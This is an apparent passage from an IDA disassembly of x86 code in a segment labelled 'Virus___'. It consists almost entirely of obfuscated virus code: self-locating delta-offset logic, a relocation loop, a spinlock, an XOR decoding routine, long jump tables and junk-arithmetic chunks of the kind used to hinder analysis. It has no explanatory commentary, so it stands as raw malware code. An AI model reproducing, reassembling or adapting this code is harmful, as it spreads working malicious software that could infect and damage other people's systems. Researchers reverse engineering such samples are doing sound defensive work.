		dd 8AB676A3h, 0CF26AD93h, 5B9EEE38h, 70D7694Fh
		db 0CCh
; ---------------------------------------------------------------------------


loc_542BB9:				; CODE XREF: Virus___:00542BA1j
		mov	dx, ax
		sub	edx, edx
		push	0
		push	esi
		call	sub_542BC9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542BC9	proc near		; CODE XREF: Virus___:00542BC1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_542BC9	endp

; ---------------------------------------------------------------------------
		db 2 dup(7Eh), 0B8h
		dd 8AF574E9h
		db 0D1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_542BF1
; ---------------------------------------------------------------------------


loc_542BEF:				; CODE XREF: Virus___:00542BF4j
		inc	eax
		inc	edi


loc_542BF1:				; CODE XREF: Virus___:00542BEDj
		cmp	byte ptr [edi],	0
		jnz	short loc_542BEF
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_542C20
; ---------------------------------------------------------------------------


loc_542BFD:				; CODE XREF: Virus___:00542C22j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_542C15
; ---------------------------------------------------------------------------


loc_542C12:				; CODE XREF: Virus___:00542C18j
		mul	ebx
		dec	esi


loc_542C15:				; CODE XREF: Virus___:00542C10j
		cmp	esi, 0
		ja	short loc_542C12
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_542C20:				; CODE XREF: Virus___:00542BFBj
		or	eax, eax
		jnz	short loc_542BFD
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		xor	dx, 96AEh
		or	[ebp+71B030Dh],	ecx


loc_542C39:				; CODE XREF: Virus___:005400E8j
		mov	eax, ecx
		jmp	loc_564CEC
; ---------------------------------------------------------------------------
		dd 7CE877AAh, 4077EE7Eh, 0F938B16Ah, 4061EA7Eh,	40366668h
		dd 578D12h, 7C90EB94h, 217h, 2,	1, 0
		dd 0F938B16Ah, 5 dup(0)
		dd offset loc_549F2F
		dd offset loc_54BF8F
; ---------------------------------------------------------------------------
		rcr	dword ptr [edx-6C62FFACh], cl
		push	esp
		add	[eax], bh
		cmp	[eax+eax-3], edx
		inc	edx
		push	esp
		add	[esp], dh
		push	esp
		add	bh, ch
		jnz	short loc_542CF7
		add	[ebp+79h], cl
		push	esp
		add	dl, al
		push	ecx
		push	esp
		add	ch, ch
		jnp	short loc_542D03
		add	bh, bh
		inc	esi
		push	esp
		add	ch, ah
		movsb
		push	esp
		add	[esi-3BFFABAEh], bh
		xor	edx, [eax+eax-21h]
		xchg	eax, ecx
		push	esp
		add	[eax+ecx*8+54h], ah
		add	bl, ah
		rcl	dword ptr [eax+eax+48h], 0C7h
		push	esp
		add	dh, al
		mov	dl, 54h
		add	[ebp-16FFAB21h], cl
		retf
; ---------------------------------------------------------------------------
		dw 54h
		dd offset loc_54764C
		dd offset loc_54A7B7
		dd offset loc_54680C
		dd offset loc_544BB9
		dd offset loc_54A0F2
		dd offset loc_549BFE
; ---------------------------------------------------------------------------
		mov	dh, 0D7h
		push	esp


loc_542CF7:				; CODE XREF: Virus___:00542CA1j
		add	[ebp-42FFAB2Ah], bh
		mov	ds:7A3E0054h, eax
		push	esp


loc_542D03:				; CODE XREF: Virus___:00542CADj
		add	ds:0AE0054E7h, ch
		retf
; ---------------------------------------------------------------------------
		push	esp
		add	[eax-39h], al
		push	esp
		add	[ecx+630054AEh], bl
		jbe	short loc_542D6B
		add	bh, ch
		retn
; ---------------------------------------------------------------------------
		dw 54h
		dd offset loc_54BEA5
		dd offset loc_54CCBE
		dd offset loc_54569F
		dd offset loc_545A50
		dd offset loc_54D5E3
		dd offset loc_54B76B
		dd offset loc_543166
		dd offset loc_546A03
		dd offset loc_549E59
		dd offset loc_54B039
		dd offset loc_54F3EC
		dd offset loc_544398
		dd offset loc_549726
		dd offset loc_545697
		dd offset loc_54E5CC
		dd offset loc_543F7B
		dd offset loc_544041
		dd offset loc_548184
		dd offset loc_548FAF
		db 39h,	0A3h, 54h
; ---------------------------------------------------------------------------


loc_542D6B:				; CODE XREF: Virus___:00542D15j
		add	[esp+edi*2], ch
		push	esp
		add	dl, dl
		mov	eax, 7FB30054h
		push	esp
		add	[ebx], al
		mov	ah, 54h
		add	cl, bl
		cmpsd
		push	esp
		add	[ebp+6Bh], ch
		push	esp
		add	bl, ah
		push	edx
		push	esp
		add	cl, cl
		int	54h
		add	al, dh
		jp	short near ptr loc_542DE1+2
		add	al, bh
		cmp	[eax+eax+1Ah], edx
		int	54h
		add	[edi+100054CDh], cl
		cmp	edx, [eax+eax-61h]
		db	64h
		push	esp
		add	[ebp+4Bh], al
		push	esp
		add	ds:6600545Dh, dl
		mov	dl, [eax+eax-4]
		inc	eax
		push	esp
		add	[edx-32h], al
		push	esp
		add	[eax+edx*8+54h], dl
		add	[eax+eax*4], cl
		push	esp
		add	[ebx-1DFFAB46h], al
		mov	ds:926D0054h, al
		push	esp
		add	dl, ah
		scasb
		push	esp
		add	[edi-54h], cl
		push	esp
		add	[edi], dl
		movsb
		push	esp
		add	[ebx+78h], al
		push	esp
		add	[ebx], ch
		xchg	dl, [eax+eax+3Bh]


loc_542DE1:				; CODE XREF: Virus___:00542D8Dj
		mov	[eax+eax+61h], dl
		mov	ss, word ptr [eax+eax-46h]
		push	esp
		push	esp
		add	[eax+543Eh], cl
		in	al, dx
		push	esp
		add	[esi-0FFFAB83h], dh
; ---------------------------------------------------------------------------
		db 8Fh,	54h, 0
		dd offset sub_545A2B
		dd offset loc_546EE1
		dd offset loc_54CF9B
		dd offset loc_54B563
		dd offset loc_54868B
		dd offset loc_54AFA9
		dd offset loc_5449CF
		dd offset loc_543566
		dd offset loc_54B925
		dd offset loc_54B185
		dd offset loc_54F103
		dd offset off_547E33
		dd offset loc_54A633
		dd offset sub_54331B
		dd offset loc_548725
		dd offset loc_545FB9
		dd offset loc_547C08
		dd offset loc_547219
		dd offset off_54572E
		dd offset loc_549617
		dd offset sub_54DD9C
		dd offset sub_54E630
		dd offset loc_547967
		dd offset sub_5437F6
		dd offset sub_54CF49
		dd offset loc_548936
		dd offset loc_547227
		dd offset loc_54A8AD
		dd offset loc_54F2FE
		dd offset loc_54B9BB
		dd offset sub_543CBA
		dd offset loc_546E92
		dd offset loc_54DF6E
		dd offset loc_5431A3
		dd offset loc_54EF77
		dd offset loc_54CB3E
		dd offset loc_54EFB9
		dd offset loc_545B33
		dd offset loc_547542
		dd offset loc_5468F0
		dd offset loc_54C86D
		dd offset loc_547FA1
		dd offset loc_5484A7
		dd offset sub_54D666
		dd offset loc_54981F
		dd offset sub_54DD5F
		dd offset sub_5432E2
		dd offset loc_548E8D
		dd offset loc_545C86
		dd offset loc_543C88
		dd offset loc_54793C
		dd offset loc_546416
		dd offset loc_54BD2C
		dd offset loc_54AF7D
		dd offset loc_5474EA
		dd offset loc_54CC39
		dd offset sub_54CE77
		dd offset loc_548341
		dd offset loc_5493A5
		dd offset loc_5485EA
		dd offset loc_549E92
		dd offset sub_54E535
		dd offset sub_54D166
		dd offset loc_548E43
		dd offset loc_54D5FB
		dd offset loc_54AB43
		dd offset loc_548ECC
		dd offset sub_5457F5
		dd offset loc_54A237
		dd offset sub_54D395
		dd offset sub_54EC77
		dd offset loc_549115
		dd offset loc_549CE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E721


loc_542F20:				; CODE XREF: Virus___:00564D51j
					; Virus___:00564D5Bj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 71B7DBEh
		mov	eax, edi
		add	edi, 71B7AD6h
		cmp	eax, [edi+2Ch]
		jnz	short loc_542F3E
		jmp	short loc_542F51
; ---------------------------------------------------------------------------


loc_542F3E:				; CODE XREF: sub_56E721-2B7E7j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_542F4D
; ---------------------------------------------------------------------------


loc_542F48:				; CODE XREF: sub_56E721-2B7D2j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_542F4D:				; CODE XREF: sub_56E721-2B7DBj
		or	ecx, ecx
		jnz	short loc_542F48


loc_542F51:				; CODE XREF: sub_56E721-2B7E5j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_542F5E:				; CODE XREF: sub_56E721-2B7BCj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_542F5E
; END OF FUNCTION CHUNK	FOR sub_56E721
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_542F67:				; CODE XREF: sub_54317D-1Cj
					; Virus___:005431A6j ...
		lodsb
		xor	al, bl
		push	cx
		jmp	loc_549125
; ---------------------------------------------------------------------------


loc_542F71:				; CODE XREF: sub_545A2B+1765j
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+2+var_4+2], ebp
		mov	ebp, 57E65CDBh
		xor	ebp, 24517FA3h
		dec	ebp
		not	ebp
		sub	ebp, 8C48DC86h
		add	edi, 5ED9550Fh
		jmp	loc_54B946
; ---------------------------------------------------------------------------


loc_542F99:				; CODE XREF: sub_545A2B+9A32j
		and	eax, edx
		mov	edx, [esp+2+var_4+2]
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], edi
		jmp	loc_54304D
; ---------------------------------------------------------------------------


loc_542FAC:				; CODE XREF: sub_545A2B+8E09j
		pop	esp
		add	ebx, 4A8138F4h
		sub	ebx, 4C6035B8h
		jmp	loc_54E49F
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_542FBE	proc near		; CODE XREF: sub_545A2B+1CE4j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00543663 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0054D55F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0054F076 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 0C000C002h
		push	esi
		mov	esi, 4E1A1978h
		neg	esi
		push	ebp
		jmp	loc_54F076
sub_542FBE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_542FDA:				; CODE XREF: sub_545A2B+31BFj
		pop	esp
		mov	[esp+2+var_4+2], ebp
		mov	ebp, esp
		push	1F0Ch
		jmp	loc_54E6FB
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E80B


loc_542FEA:				; CODE XREF: sub_54E80B-184Bj
		add	esp, 4
		jmp	loc_546427
; END OF FUNCTION CHUNK	FOR sub_54E80B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_542FF2:				; CODE XREF: sub_545A2B+C2j
		push	4985h
		mov	[esp+0Ah+var_C+2], edx
		jmp	loc_544814
; ---------------------------------------------------------------------------


loc_542FFF:				; CODE XREF: sub_545A2B+39E5j
		mov	ebx, 13AA6E2Ah
		sub	ecx, ebx
		pop	ebx
		neg	ecx
		push	ebp
		mov	ebp, 76D17801h
		xor	ecx, ebp
		push	[esp+0Ah+var_C+2]
		jmp	loc_549C66
; ---------------------------------------------------------------------------


loc_543019:				; CODE XREF: sub_545A2B+63A5j
		push	[esp+0Eh+var_C+2]
		pop	edi
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		push	[esp+0Ah+var_C+2]
		push	[esp+0Eh+var_10+2]
		pop	edx
		push	edx
		push	esp
		pop	edx
		jmp	loc_54E578
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_544532


loc_543033:				; CODE XREF: sub_544532+Cj
		mov	cl, 2
		sub	cl, ah
		mov	eax, [esp+8+var_8]
		jmp	loc_5442A8
; END OF FUNCTION CHUNK	FOR sub_544532
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54303F:				; CODE XREF: sub_545A2B+8675j
		add	esp, 4
		shl	cl, 2
		jmp	loc_54E221
; ---------------------------------------------------------------------------


loc_54304D:				; CODE XREF: sub_545A2B-2A84j
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp+6+var_8+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5471F1
; ---------------------------------------------------------------------------


loc_54306B:				; CODE XREF: sub_545A2B+48D1j
		push	6878h
		mov	[esp+6+var_8+2], esp
		jmp	loc_54A854
; ---------------------------------------------------------------------------


loc_543078:				; CODE XREF: sub_545A2B+B63j
		push	ecx
		mov	ecx, 68291481h
		neg	ecx
		jmp	loc_54C6D3
; ---------------------------------------------------------------------------


loc_543085:				; CODE XREF: sub_545A2B+4EC8j
		pop	eax
		mov	bl, ch
		pop	ecx
		pop	edx
		pop	eax
		not	bl
		push	edx
		mov	dl, 0A5h
		jmp	loc_54312D
; ---------------------------------------------------------------------------


loc_543095:				; CODE XREF: sub_545A2B+78B4j
		mov	ecx, edx
		pop	edx
		sub	ecx, 6C3A6716h
		add	edx, ecx
		pop	ecx
		jmp	loc_54BC51
; ---------------------------------------------------------------------------


loc_5430A6:				; CODE XREF: sub_545A2B+5F0Aj
		pop	eax
		jmp	loc_54321E
; ---------------------------------------------------------------------------


loc_5430AC:				; CODE XREF: sub_545A2B+554Dj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54C7F9
; ---------------------------------------------------------------------------


loc_5430B9:				; CODE XREF: sub_545A2B-784j
		push	47F2h
		mov	[esp-0Ah+arg_4+2], ebp
		jmp	loc_546E9A
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_5430C6:				; CODE XREF: Virus___:0054CDD6j
		mov	edi, esp
		push	edx
		mov	edx, 76FD2119h
		shr	edx, 5
		shl	edx, 5
		add	edx, 318C1F57h
		and	edx, 751E7E36h
		xor	edx, 598A0834h
		jmp	loc_546F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5430EB:				; CODE XREF: sub_545A2B+5457j
		inc	esi
		sub	esi, 48CE6DEh
		add	edi, esi
		pop	esi
		jmp	loc_54DE41
; ---------------------------------------------------------------------------


loc_5430FA:				; CODE XREF: sub_545A2B+6E34j
		mov	edi, 5C95D74h
		mov	eax, edi
		mov	edi, [esp-0Eh+arg_A]
		add	esp, 4
		and	eax, 695C0647h
		shl	eax, 6
		xor	eax, 52011104h
		sub	ebp, eax
		pop	eax
		push	ebp
		push	[esp-12h+arg_12]
		pop	ebp
		pop	[esp-12h+arg_E]
		pop	esp
		mov	[esp-1Ah+arg_16], esi
		push	edx
		jmp	loc_54B840
; ---------------------------------------------------------------------------


loc_54312D:				; CODE XREF: sub_545A2B-299Bj
		dec	dl
		sub	dl, 42h
		xor	bl, dl
		mov	edx, [esp+0]
		add	esp, 4
		sub	al, bl
		push	[esp-6+arg_0+2]
		jmp	loc_5499D7
; ---------------------------------------------------------------------------


loc_543144:				; CODE XREF: sub_545A2B+3869j
		add	ebp, 27B57F3h
		and	edx, ebp
		pop	ebp
		jmp	loc_54ADA8
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54317D


loc_543152:				; CODE XREF: sub_54317D+A788j
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		xor	[esp-4+arg_0], ax
		pushf
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_54317D
; ---------------------------------------------------------------------------


loc_543166:				; DATA XREF: Virus___:00542D34o
		mov	cx, [esp]
		push	edi
		push	563Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_546CB3

; =============== S U B	R O U T	I N E =======================================



sub_54317D	proc near		; CODE XREF: sub_545A2B+4CF5j

var_C		= dword	ptr -0Ch
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00543152 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00543485 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00543590 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00543A01 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0054C97C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0054CEEA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0054D904 SIZE 00000006 BYTES

		push	ebx
		push	esi
		push	ebp
		mov	ebp, 244A1431h
		sub	ebp, 0AEA2E36Ch
		mov	esi, ebp
		pop	ebp
		xor	esi, 7A691819h
		dec	esi
		shl	esi, 7
		xor	esi, 0C9291EB5h
		jmp	loc_543A01
sub_54317D	endp

; ---------------------------------------------------------------------------


loc_5431A3:				; DATA XREF: Virus___:00542E80o
		mov	esp, [esp]
		jmp	loc_542F67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5431AB:				; CODE XREF: sub_545A2B+4CA5j
		xor	esi, 5E337624h
		sub	esi, 68DB37CBh
		jmp	loc_54AD24
; ---------------------------------------------------------------------------


loc_5431BC:				; CODE XREF: sub_545A2B+6140j
		sub	esi, 246E1415h
		add	esi, 3CEE02DEh
		mov	ebp, [esp-6+arg_0+2]
		add	esp, 4
		add	esi, 7EFA68D1h
		mov	ebx, 42D764E3h
		add	ebx, 2E5A4B39h
		jmp	loc_548CE6
; ---------------------------------------------------------------------------


loc_5431E4:				; CODE XREF: sub_545A2B+C67j
		pop	ecx
		xor	al, dl
		pop	edx
		push	0D6Ah
		jmp	loc_54577F
; ---------------------------------------------------------------------------


loc_5431F2:				; CODE XREF: sub_545A2B+284Aj
		add	[esp-0Eh+arg_A], 3023344Fh
		pop	ebp
		sub	ebp, 3023344Fh
		pop	ecx
		mov	edx, 38764D60h
		sub	edx, ebp
		jmp	loc_54EAC7
; ---------------------------------------------------------------------------


loc_54320D:				; CODE XREF: sub_545A2B+80B9j
		add	esi, 2
		xchg	esi, [esp-16h+arg_12]
		pop	esp
		dec	word ptr [esp-1Ah+arg_16]
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54321E:				; CODE XREF: sub_545A2B-2984j
		sub	eax, edx
		pop	edx
		push	esi
		mov	esi, 49AD1A83h
		shl	esi, 1
		xor	esi, 0D9EF5A68h
		add	eax, 47A36FE9h
		sub	eax, esi
		sub	eax, 47A36FE9h
		pop	esi
		add	eax, 68610D0Ah
		sub	eax, ebx
		sub	eax, 68610D0Ah
		jmp	loc_54C713
; ---------------------------------------------------------------------------


loc_54324D:				; CODE XREF: sub_545A2B+294Aj
		pop	ebx
		mov	dh, ah
		pop	eax
		sub	dh, 0Fh
		add	bl, 0BFh
		add	bl, dh
		push	ecx
		mov	ch, 9
		jmp	loc_545703
; ---------------------------------------------------------------------------


loc_543261:				; CODE XREF: sub_545A2B+68Cj
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		jmp	loc_542F67

; =============== S U B	R O U T	I N E =======================================



sub_543268	proc near		; CODE XREF: sub_545A2B+21BDj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005450F1 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0054F3D5 SIZE 00000017 BYTES

		push	ebp
		pop	edx
		pop	ebp
		or	ecx, ecx
		jz	loc_547D6D
		push	240Ch
		mov	[esp+0], esp
		push	ecx
		jmp	loc_5450F1
sub_543268	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543281:				; CODE XREF: sub_545A2B+684Aj
		mov	ebx, 28793926h
		jmp	loc_54841B
; ---------------------------------------------------------------------------


loc_54328B:				; CODE XREF: sub_545A2B+2583j
		mov	edi, esp
		jmp	loc_545DF8
; ---------------------------------------------------------------------------


loc_543292:				; CODE XREF: sub_545A2B+8DF8j
		add	esp, 4
		jmp	loc_54A8CF
; ---------------------------------------------------------------------------


loc_54329A:				; CODE XREF: sub_545A2B+24F3j
		xchg	esi, [esp-1Eh+arg_1A]
		pop	esp
		and	eax, edx
		mov	edx, [esp-22h+arg_1E]
		add	esp, 4
		or	eax, eax
		jnz	loc_548B43
		push	ebx
		mov	ebx, 28A8127Fh
		push	edx
		jmp	loc_54B580
; ---------------------------------------------------------------------------


loc_5432BA:				; CODE XREF: sub_545A2B-D94j
		mov	ebx, [esp-1Eh+arg_1A]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-1Ah+arg_16]
		pop	esp
		push	small 3794h
		mov	word ptr [esp-1Ch+arg_16+2], dx
		push	eax
		mov	ah, 88h
		add	ah, 96h
		mov	dl, ah
		jmp	loc_5490EF
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_5432E2	proc near		; DATA XREF: Virus___:00542EB4o

var_8		= dword	ptr -8

		mov	ax, [esp+0]
		push	edi
		push	esp
		push	[esp+8+var_8]
		pop	edi
		jmp	loc_5463F4
sub_5432E2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5432F1:				; CODE XREF: sub_545A2B+5EA2j
		sub	bl, 0D8h
		push	72D0h
		mov	[esp-14h+arg_E+2], edx
		jmp	loc_5483C2
; ---------------------------------------------------------------------------


loc_543301:				; CODE XREF: sub_545A2B+507Bj
		pop	esp
		push	[esp-18h+arg_12+2]
		pop	ecx
		jmp	sub_545002
; ---------------------------------------------------------------------------


loc_54330B:				; CODE XREF: sub_545A2B-21E3j
		push	esi
		jmp	loc_54A089
; ---------------------------------------------------------------------------


loc_543311:				; CODE XREF: sub_545A2B-188Aj
		push	258Ch
		jmp	loc_544305
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54331B	proc near		; DATA XREF: Virus___:00542E30o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0054518F SIZE 0000000C BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_54518F
sub_54331B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543326:				; CODE XREF: sub_545A2B+8ED7j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp-10h+arg_A+2]
		xor	[esp-10h+arg_A+2], edi
		xor	edi, [esp-10h+arg_A+2]
		jmp	loc_5451AC
; ---------------------------------------------------------------------------


loc_54333F:				; CODE XREF: sub_545A2B+46CAj
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_543344:				; CODE XREF: sub_545A2B-442j
		add	[esp-10h+arg_E+2], eax
		add	[esp-10h+arg_E+2], 5712026Ch
		pop	eax
		jmp	loc_54DCB7
; ---------------------------------------------------------------------------


loc_543356:				; CODE XREF: sub_545A2B-1C3Ej
		neg	ecx
		neg	ecx
		xor	ecx, 0C094A10Ah
		add	eax, ecx
		pop	ecx
		add	eax, edx
		sub	eax, 3F0F6719h
		pop	edx
		jmp	sub_54CC16
; ---------------------------------------------------------------------------


loc_543370:				; CODE XREF: sub_545A2B+4A14j
		shr	eax, 8
		sub	eax, 9659FEF5h
		push	eax
		sub	[esp-18h+arg_12+2], 6F2A3DBDh
		pop	ebp
		add	ebp, 6F2A3DBDh
		pop	eax
		xor	ebp, 6CD87240h
		jmp	loc_54D674
; ---------------------------------------------------------------------------


loc_543393:				; CODE XREF: sub_545A2B-1698j
		push	[esp-20h+arg_1A+2]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, 638A3035h
		mov	[edi+20h], edx
		pop	edx
		dec	dword ptr [edi+20h]
		jmp	loc_54C27A
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_5433AC:				; CODE XREF: sub_543A46-50Ej
		pop	ebp
		or	ecx, 4EAC3CD5h
		inc	ecx
		add	ecx, 5AA9CFD8h
		add	ebx, ecx
		pop	ecx
		push	edx
		push	ebx
		jmp	loc_5437B0
; END OF FUNCTION CHUNK	FOR sub_543A46
; ---------------------------------------------------------------------------
		push	3F23h
		mov	[esp], ebx
		mov	ebx, 1
		or	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_544D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5433E1:				; CODE XREF: sub_545A2B+850Fj
		pop	edi
		or	edi, 3B076A8Eh
		shr	edi, 7
		sub	edi, 0F6FEFBh
		mov	ecx, edi
		jmp	loc_54B59B
; ---------------------------------------------------------------------------


loc_5433F8:				; CODE XREF: sub_545A2B+67FDj
		xor	ebx, 8A3499D6h
		sub	edi, ebx
		jmp	loc_546217
; ---------------------------------------------------------------------------


loc_543405:				; CODE XREF: sub_545A2B+688Ej
		sub	[esp-28h+arg_22+2], eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54340E:				; CODE XREF: sub_545A2B+92C9j
		add	ebx, 350540A9h
		jmp	loc_54EBC9
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_543419	proc near		; CODE XREF: sub_545A2B+1D0Bj
		sub	esp, 4
		jmp	loc_548709
sub_543419	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543424:				; CODE XREF: sub_545A2B-2567j
		mov	ebx, [esp-24h+arg_1E+2]
		add	esp, 4
		push	edx
		mov	edx, ecx
		mov	ebx, edx
		pop	edx
		pop	ecx
		jmp	loc_54E139
; ---------------------------------------------------------------------------


loc_543439:				; CODE XREF: sub_545A2B+5121j
		add	esp, 4
		jmp	loc_54C402
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_543444	proc near		; CODE XREF: sub_545A2B+9A14j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54AF2F
sub_543444	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543452:				; CODE XREF: sub_545A2B+156Cj
		pop	esp
		push	ebp
		mov	ebp, 53F40530h
		push	ebp
		add	[esp-2Ch+arg_26+2], 0FFFFFFFFh
		jmp	loc_548384
; ---------------------------------------------------------------------------


loc_543463:				; CODE XREF: sub_545A2B+37A0j
		add	ebp, edx
		pop	edx
		push	edx
		push	14183C27h
		pop	edx
		not	edx
		add	edx, 14183C2Ch
		add	ebp, edx
		jmp	loc_544849
; ---------------------------------------------------------------------------


loc_54347C:				; CODE XREF: sub_545A2B+6DB6j
		pop	edi
		pop	ecx
		not	ecx
		jmp	loc_544AF4
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54317D


loc_543485:				; CODE XREF: sub_54317D+9D74j
		xor	ebx, ecx
		pop	ecx
		xor	ebx, 355B7912h
		jmp	loc_543590
; END OF FUNCTION CHUNK	FOR sub_54317D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543493:				; CODE XREF: sub_545A2B-B04j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_543498:				; CODE XREF: sub_545A2B-1A5Aj
		add	esi, edx
		jmp	loc_546DC0
; ---------------------------------------------------------------------------


loc_54349F:				; CODE XREF: sub_545A2B-5BEj
		mov	ebx, 400D5A4Dh
		jmp	loc_543EB1
; ---------------------------------------------------------------------------


loc_5434A9:				; CODE XREF: sub_545A2B+5943j
		mov	ecx, [esp-34h+arg_2E+2]
		add	esp, 4
		shr	ecx, 8
		add	ecx, 0FFFFFFFFh
		push	ebx
		mov	ebx, 6C6756B8h
		dec	ebx
		add	ebx, 93D86B54h
		xor	ecx, ebx
		jmp	loc_543424
; ---------------------------------------------------------------------------


loc_5434C9:				; CODE XREF: sub_545A2B+2A03j
		shl	ecx, 3
		inc	ecx
		or	ecx, 6E533EE7h
		add	ecx, 0B01D7A6Bh
		push	edi
		jmp	loc_54C5BD
; ---------------------------------------------------------------------------


loc_5434DF:				; CODE XREF: sub_545A2B+6DEAj
		push	ax
		mov	ah, 8Eh
		add	bl, ah
		jmp	loc_5461A8
; ---------------------------------------------------------------------------


loc_5434EA:				; CODE XREF: sub_545A2B+7E2Ej
		pop	edx
		add	al, 96h
		push	ecx
		push	eax
		jmp	loc_543B2C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543F5A


loc_5434F4:				; CODE XREF: sub_543F5A+1Cj
		neg	ch
		push	dx
		push	eax
		mov	al, ch
		mov	dl, al
		pop	eax
		not	dl
		mov	ch, dl
		pop	dx
		xor	ch, 0D0h
		mov	bl, ch
		mov	ecx, [esp+0]
		add	esp, 4
		xor	al, bl
		push	[esp-4+arg_0]
		pop	ebx
		add	esp, 4
		jmp	loc_545E71
; END OF FUNCTION CHUNK	FOR sub_543F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


